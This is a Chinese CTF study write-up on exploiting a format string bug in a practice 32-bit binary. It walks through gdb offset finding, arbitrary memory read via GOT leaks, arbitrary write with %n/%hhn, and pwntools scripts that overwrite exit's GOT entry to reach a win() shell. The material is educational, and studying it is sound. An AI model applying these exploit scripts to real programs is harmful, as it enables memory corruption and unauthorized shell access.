1、 pri_32
https://github.com/kezibei/pwn_study
这题sprintf+printf是很明显的格式化字符串漏洞,前面检测了要以http://开头。sprintf是将s经过hello,%s处理赋值给format变量,很显然hello,%s不可控,因此不存在漏洞。而format直接传入printf,完全可控,因此存在格式化字符串漏洞。
这个漏洞用web理解就类似模板注入一类的漏洞,其可以用%p(指针),%d(10进制数),%x(16进制数),%s(参数地址对应的字符串),%n(已经成功输出的字符个数写入对应的整型指针参数所指的变量)等占位符来对后面的参数进行操作。
看图可以很直观的理解。
其中多个%s和直接用%n会报错,这也是快速鉴定格式化字符串漏洞的办法。
很明显这就是该类函数的第一个漏洞,可以用来泄露内存里的信息。具体原理是本来printf("%s%s", a ,b),如果没有ab变成printf("%s%s"),就会使用栈上的其他地址。
用gdb看一下,泄露的地址是哪些。
gdb pri_32
b printf
r
http://%p,%p.%p.%p.%p
stack 20
c
非常直观,但是这样想泄露高位栈上的信息就比较麻烦,要输入很多个%p。还有一种方法就是用%2$p来代替,这里2指什么呢?是指格式化字符串的参数表的第二个参数。
r
http://%2$p.%1$p
stack 20
c
那么我们只需要看栈就能泄露具体的信息了,比如那个GLIBC_2.0,只需要http://%3$s。
需要自己数很麻烦,如何快速计算出偏移量呢?gdb提供了fmtarg这么个功能。
gdb pri_32
b printf
r
http://aaaa
stack 20
fmtarg 0xffffd08c
除此之外,%s或者%p还可以快速用\x00来填充位数,用法如下。
但是这里只能泄露栈中的地址,有没有办法泄露其他地址呢?这里有个很巧妙的方法,就是先将地址写入栈中,然后通过%7$s将这个地址对应的字符串给打印出来。
我们先要获取这个7是多少,也就是偏移量是多少,写入4个A加上大量%p。
41即为A的16进制,那么可以数出来偏移量是13,同时这个偏移量在gdb中看栈也很容易看出来。那么AAAA%13$p结果就是0x41414141。
那么如果我们将AAAA替换为某个地址,会如何呢?比如data段随便一个字符串。
(python -c 'print("http://"+"\x08\x04\x86\xfa"[::-1]+"%13$p")' ; cat -) | ./pri_32
(python -c 'print("http://"+"\x08\x04\x86\xfa"[::-1]+"%13$s")' ; cat -) | ./pri_32
可以看到,成功的将input error打印出来。
同理,在ret2libc3的学习中,我们了解到了泄露libc函数的真实地址也很重要。格式化字符串同样可以做到。
我们先在ret2libc3中泄露一次,方便对照。
0xf7d5f820,这里5f是随机的,再看pri_32
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = process("./pri_32")
elf = ELF("./pri_32")
start_got = elf.got['__libc_start_main']
payload1 = "http://"+p32(start_got)+"%13$s"
sh.sendline(payload1)
puts_addr = sh.recv()
print(puts_addr)
那么就可以准确捕获真实地址了。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = process("./pri_32")
elf = ELF("./pri_32")
start_got = elf.got['__libc_start_main']
payload1 = "http://"+p32(start_got)+"%13$s"
sh.sendline(payload1)
puts_addr = u32(sh.recv()[17:21])
print(hex(puts_addr))
这样本来只能读栈就变成了任意地址读。
利用%n,我们还可以将其变成任意地址写。%n可以将该地址的值写入已打印字符数中,输入AAAA%13$n,即可将4写入AAAA地址中,这个AAAA地址可以选择bss段。
readelf -S pri_32
然后在gdb中调试。
python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pri_32")
gdb
x/20xb 0x804a040(gdb可能有BUG,第一次指令无效)
gdb
b exit(这样可以确定printf执行过了)
c
python
bss = 0x804a040
payload1 = "http://"+p32(bss)+"%13$n"
sh.sendline(payload1)
gdb
x/20xb 0x804a040
可以看到bss地址成功被我们改写成了11,也就是17,为什么是17呢?很显然因为前面有【hello,http://】,加上4字节的地址刚好17位,转换16进制就是11。
如何将其改写为我们想要的值呢,可以用前面那个技巧快速用\x00填充,也就是%16c
payload1 = "http://"+p32(bss)+"%16c"+"%13$n"
在最基础的格式化字符串漏洞中,会给一个if(a=32)的条件就执行system的后门,这样只需要改写a的值就行了。但这题显然不行,所以我们要继续探索。
这题是有后门函数win的,ida中可以看到。
既然可以改写任意地址的值了,那么就有个经典的利用方法,got表劫持。就是在任意写基础上更近一步,将11或者21这种小数字变成一个地址,而一个地址转换成10进制会非常大,这样就需要填充非常大的值进去。
在一些题目中会进行while循环,方便你劫持printf,这里不行,我们只能尝试exit()。
先确定win()的地址。
info address win
ida上也有
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
sh = process("./pri_32")
elf = ELF("./pri_32")
exit_got = elf.got['exit']
win_addr = 0x804857b
payload1 = "http://"+p32(exit_got)+"%"+str(win_addr-17)+"c%13$n"
sh.sendline(payload1)
sh.interactive()
通过很长时间的光标闪烁后,最终getshell
为什么这里会闪呢?是因为程序输出了和str(win_addr-17)相等体积的数据,要等很长时间才能输出完。在实际做题的时候,如果直接使用这种payload,可能会因为网络问题中断,所以要想办法减少体积。
如何减少呢?%n的缺点是只能根据长度来赋值,且一次修改4个字节的地址,因此地址转换成数字,想要获取这个数字长度的字符串体积就太大了,而我们可以使用%hn(2字节)和%hhn(1字节)来单独修改每个字节。这样需要输出的字符串体积就很小了。
比如win_addr = 0x804857b,也就是134514043,%n必须获取这么长的字符串非常困难。但如果依次赋值7b-85-04-08(小端),显然就简单很多。
所以我们只需要在%hhn取一个值的时候,输出长度为0x7b,取第二个值的时候,输出长度为0x85,也就是追加0x85-0x7b长度即可。到第三个值的时候,出问题了,0x4比0x85小,显然我们无法降低长度,这里可以用0x104来代替,因为%hhn只取后两位,参数为0x104就会阶段只剩0x4。
因此poc如下。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = process("./pri_32")
elf = ELF("./pri_32")
exit_got = elf.got['exit']
win_addr = 0x804857b
payload1 = "http://"
payload1+= p32(exit_got)+p32(exit_got+1)+p32(exit_got+2)+p32(exit_got+3)
payload1+= "%"+str(0x7b-13-16)+"c%13$hhn"
payload1+= "%"+str(0x85-0x7b)+"c%14$hhn"
payload1+= "%"+str(0x104-0x85)+"c%15$hhn"
payload1+= "%"+str(0x8-0x4)+"c%16$hhn"
#payload1 += fmtstr_payload(13,{exit_got:win_addr},13)
print(payload1)
sh.sendline(payload1)
sh.interactive()
当然,这样计算出来非常麻烦,所以如注释所写,pwntools内置了一个方法能帮我们快速生成payload。
fmtstr_payload(13,{exit_got:win_addr},13)
注意前一个13是偏移位置,后面的13是【hello,http://】的长度。